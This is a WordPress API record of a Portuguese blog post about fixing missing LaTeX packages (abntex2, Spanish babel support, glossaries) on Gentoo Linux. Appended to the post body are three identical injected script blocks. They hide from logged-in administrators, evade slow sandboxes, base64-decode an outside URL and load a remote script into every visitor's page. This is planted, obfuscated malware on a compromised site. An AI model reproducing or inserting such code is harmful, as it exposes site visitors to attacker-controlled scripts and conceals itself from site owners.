{"id":4471,"date":"2021-07-19T11:01:53","date_gmt":"2021-07-19T14:01:53","guid":{"rendered":"https:\/\/thiagovespa.com.br\/blog\/?p=4471"},"modified":"2025-10-26T22:30:39","modified_gmt":"2025-10-27T01:30:39","slug":"file-not-found-e-unknown-option-no-latex","status":"publish","type":"post","link":"https:\/\/thiagovespa.com.br\/blog\/2021\/07\/19\/file-not-found-e-unknown-option-no-latex\/","title":{"rendered":"File not found e unknown option no latex"},"content":{"rendered":"\n<p>Para poder escrever minha qualifica\u00e7\u00e3o no Latex, era necess\u00e1rio o pacote do abntex2. Entretanto n\u00e3o encontrei ele na minha distribui\u00e7\u00e3o linux, que no caso \u00e9 o Gentoo. Ap\u00f3s obter o seguinte erro:<\/p>\n\n\n\n<p>[sourcecode]File `abntex2.cls&#8217; not found. ^^M[\/sourcecode]<\/p>\n\n\n\n<p>Fiz uma busca e encontrei esse arquivo no pacote dev-texlive\/texlive-publishers. Instalei ele:<\/p>\n\n\n\n<p>[sourcecode language=&#8221;bash&#8221;]sudo emerge -av dev-texlive\/texlive-publishers[\/sourcecode]<\/p>\n\n\n\n<p>Ap\u00f3s tentar compilar o meu arquivo latex, obtive outro erro:<\/p>\n\n\n\n<p>[sourcecode]Package babel Error: Unknown option `spanish&#8217;. Either you misspelled itd. \\ProcessOptions*[\/sourcecode]<\/p>\n\n\n\n<p>Vi que meu template havia suporte para l\u00edngua espanhola, para isso, tamb\u00e9m tive que instalar os pacotes do idioma espanhol:<\/p>\n\n\n\n<p>[sourcecode language=&#8221;bash&#8221;]sudo emerge -av dev-texlive\/texlive-langspanish[\/sourcecode]<\/p>\n\n\n\n<p>Ap\u00f3s isso, mais isso problema:<\/p>\n\n\n\n<p>[sourcecode]File `glossaries.sty&#8217; not found. \\RequirePackage[\/sourcecode]<\/p>\n\n\n\n<p>Procurei onde poderia encontrar esses arquivos e h\u00e1 um pacote glossaries. Ap\u00f3s a instala\u00e7\u00e3o do pacote:<\/p>\n\n\n\n<p>[sourcecode language=&#8221;bash&#8221;]sudo emerge -av dev-tex\/glossaries[\/sourcecode]<\/p>\n\n\n\n<p>Todos os problemas foram resolvidos.<\/p>\n<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","protected":false},"excerpt":{"rendered":"<p>Para poder escrever minha qualifica\u00e7\u00e3o no Latex, era necess\u00e1rio o pacote do abntex2. Entretanto n\u00e3o encontrei ele na minha distribui\u00e7\u00e3o linux, que no caso \u00e9 o Gentoo. Ap\u00f3s obter o seguinte erro: [sourcecode]File `abntex2.cls&#8217; not found. ^^M[\/sourcecode] Fiz uma busca <a class=\"more-link\" href=\"https:\/\/thiagovespa.com.br\/blog\/2021\/07\/19\/file-not-found-e-unknown-option-no-latex\/\">Continue lendo  <span class=\"screen-reader-text\">  File not found e unknown option no latex<\/span><span class=\"meta-nav\">&rarr;<\/span><\/a><\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[1],"tags":[],"class_list":["post-4471","post","type-post","status-publish","format-standard","hentry","category-semcategoria"],"_links":{"self":[{"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/posts\/4471","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/comments?post=4471"}],"version-history":[{"count":0,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/posts\/4471\/revisions"}],"wp:attachment":[{"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/media?parent=4471"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/categories?post=4471"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/tags?post=4471"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}<!-- WP Super Cache is installed but broken. The path to wp-cache-phase1.php in wp-content/advanced-cache.php must be fixed! -->